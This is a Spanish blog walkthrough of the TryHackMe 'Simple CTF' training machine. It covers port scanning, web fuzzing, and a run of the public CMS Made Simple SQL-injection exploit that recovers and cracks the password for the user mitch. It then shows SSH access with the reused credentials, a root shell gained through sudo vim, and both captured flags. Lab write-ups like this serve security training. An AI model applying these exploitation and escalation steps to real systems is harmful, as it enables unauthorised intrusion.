Tryhackme: Simple CTF

s3cureroy
6 min readJan 19, 2023

--

La máquina Simple CTF es una máquina sencilla que permite practicar técnicas de auditoría WEB, enumerando ficheros conocidos de los servidores, como robots.txt, además de ganar acceso inicial mediante vulnerabilidades publicadas.

Enumeración

Lo primero que se debe hacer al obtener la IP de la máquina, es ejecutar un escaneo de puertos que permita ver que servicios tiene expuestos, y por tanto, son atacables.

Lanzando un comando nmap con los parámetros para mostrar las versiones de los servicios y lanzar los comandos nse de enumeración de dichos servicios.

Starting Nmap 7.70 ( https://nmap.org ) at 2021-03-20 09:16 CET
Nmap scan report for 10.10.124.34
Host is up (0.039s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.9.71.139
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
| 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (91%), Crestron XPanel control system (89%), HP P2000 G3 NAS device (86%), ASUS RT-N56U WAP (Linux 3.4) (86%), Linux 3.1 (86%), Linux 3.16 (86%), Linux 3.2 (86%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (86%), Linux 2.6.32 (85%), Linux 2.6.32 - 3.1 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 34.77 ms 10.9.0.1
2 35.06 ms 10.10.124.34

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.40 seconds

Como se puede ver, los puertos abiertos son el 21, correspondiente al servicio FTP, el 80, correspondiente al protocolo HTTP y por último, el puerto 2222 usado protocolo SSH, que por defecto suele tener configurado el puerto 22, pero no en esta ocasión.

Enumeración WEB

Obtenidos los puertos abiertos, se puede empezar a enumerar posibles debilidades por el puerto deseado, en esta ocasión, se decide obtener los ficheros y directorios que están expuestos en la página WEB, lo que generalmente se conoce como fuzzing.

Uno de los ficheros más usados para enumerar recursos, es el fichero robots.txt usado para que los buscadores como Google, DuckDuckgo y Bing entre otros, no indexen ciertas páginas WEB que no se quieran exponer y por tanto, no salgan en sus listados al realizar búsquedas.

En esta ocasión, el fichero robots.txt muestra el directorio /openemr-5_0_1_3 pero al intentar acceder a dicho recurso, la respuesta del servidor, es un código 404 (no encontrado).

#
# "$Id: robots.txt 3494 2003-03-19 15:37:44Z mike $"
#
# This file tells search engines not to index your CUPS server.
#
# Copyright 1993-2003 by Easy Software Products.
#
# These coded instructions, statements, and computer programs are the
# property of Easy Software Products and are protected by Federal
# copyright law. Distribution and use rights are outlined in the file
# "LICENSE.txt" which should have been included with this file. If this
# file is missing or damaged please contact Easy Software Products
# at:
#
# Attn: CUPS Licensing Information
# Easy Software Products
# 44141 Airport View Drive, Suite 204
# Hollywood, Maryland 20636-3111 USA
#
# Voice: (301) 373-9600
# EMail: cups-info@cups.org
# WWW: http://www.cups.org
#

User-agent: *
Disallow: /


Disallow: /openemr-5_0_1_3
#
# End of "$Id: robots.txt 3494 2003-03-19 15:37:44Z mike $".
#

También existen otros ficheros que generan algunos CMS los cuales pueden ser usados para obtener cierta información importante, como la versión del CMS, del servidor WEB, etc. Estos ficheros son README.md o VERSION.md.

Al no encontrar ningún fichero manualmente, se utiliza una aplicación escrita en Python, llamada dirsearch que sirve para automatizar la tarea de enumeración de recursos y obtener ficheros, o incluso directorios donde puedan alojarse otros ficheros. Se obtiene un recurso llamado /simple.

[09:22:26] Starting: 
[09:22:29] 403 - 300B - /.htaccess-dev
[09:22:29] 403 - 302B - /.htaccess-local
[09:22:29] 403 - 302B - /.htaccess-marco
[09:22:29] 403 - 301B - /.htaccess.bak1
[09:22:29] 403 - 300B - /.htaccess.old
[09:22:29] 403 - 301B - /.htaccess.orig
[09:22:29] 403 - 303B - /.htaccess.sample
[09:22:29] 403 - 301B - /.htaccess.save
[09:22:29] 403 - 300B - /.htaccess.txt
[09:22:29] 403 - 299B - /.htaccessBAK
[09:22:29] 403 - 300B - /.htaccessOLD2
[09:22:29] 403 - 299B - /.htaccessOLD
[09:22:29] 403 - 300B - /.htpasswd-old
[09:22:29] 403 - 298B - /.httr-oauth
[09:22:30] 403 - 291B - /.php
[09:22:32] 200 - 11KB - /
[09:22:44] 200 - 11KB - /index.html[09:22:50] 200 - 929B - /robots.txt
[09:22:51] 403 - 300B - /server-status
[09:22:51] 403 - 301B - /server-status/
[09:22:51] 301 - 313B - /simple -> http://10.10.124.34/simple/

Task Completed

Al acceder al recuro obtenido, se obtiene una página que muestra que se está usando un CMS llamado Simple CMS.

Página inicial de Simple CMS.

Cabe destacar, que en la página inicial hay 3 datos curiosos:

  • Informa que la página de administración se encuentra en la ruta /cmsmspath/admin a la que se accede correctamente, mostrando un formulario de acceso.
Formulario de inicio Simple CMS.
  • La versión informada en el footer es la 2.2.8 del CMS Made Simple, por tanto se pueden buscar vulnerabilidades que hayan sido publicadas.
  • Informa que han sido instalados módulos adicionales, y si se conocen éstos, se pueden buscar vulnerabilidades que les afecten.

Explotación

Sabiendo la versión, se buscan exploit mediante el comando SearchSploit, encontrando una que puede servir. La vulnerabilidad es de inyección SQL (Vulnerabilidad que más afecta a los CMS), con el código de vulnerabilidad asignado CVE-2019–9053.

searchsploit 46635.py  
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Se obtiene el exploit escrito en Python de la ruta en el que se encuentra almacenado. Se lanza añadiendo un diccionario y los parámetros necesarios para que además, realice password cracking, obteniendo la siguiente información de acceso.

python 46635.py -c -u http://10.10.124.34/simple -w darkc0de.txt

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

Mediante las credenciales obtenidas, se puede acceder a la parte de administración vista previamente. Además se verifica si las credenciales pueden haber sido recicladas en otro servicio, obteniendo acceso mediante SSH.

Se obtiene la flag de usuario (user.txt = G00d j0b, keep up!).

Escalada de privilegios

Con acceso a la máquina, se comienza a enumerar posibles vectores para escalar privilegios.

Se comienza a buscar mediante el comando find los binarios con SUID, pero no se encuentra ninguno que pueda se explotable según [GTFOBins](https://gtfobins.github.io/).

Entonces se decide verificar que comandos pueden ser ejecutados como administrador usando sudo por el usuario, obteniendo que puede ejecutar vim como administrador, sin contraseña.

$ sudo -l 
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim

Para explotar vim y obtener una shell como usuario root se debe abrir el editor de texto y ejecutar el comando interno “:explore”.

Si el método no funciona, se puede ejecutar el comando usando el parámetro -c en la ejecución, como se puede ver en GTFOBins.

Escalada de privilegios usando el comando vim.

Obtenida una shell como root, se puede obtener la flag del usuario administrador (W3ll d0n3. You made it!) habiendo comprometido la máquina completamente.

--

--

s3cureroy

Apasionado de la seguridad informática, actualmente trabajando como analista de seguridad, pero con ganas de afrontar nuevos retos.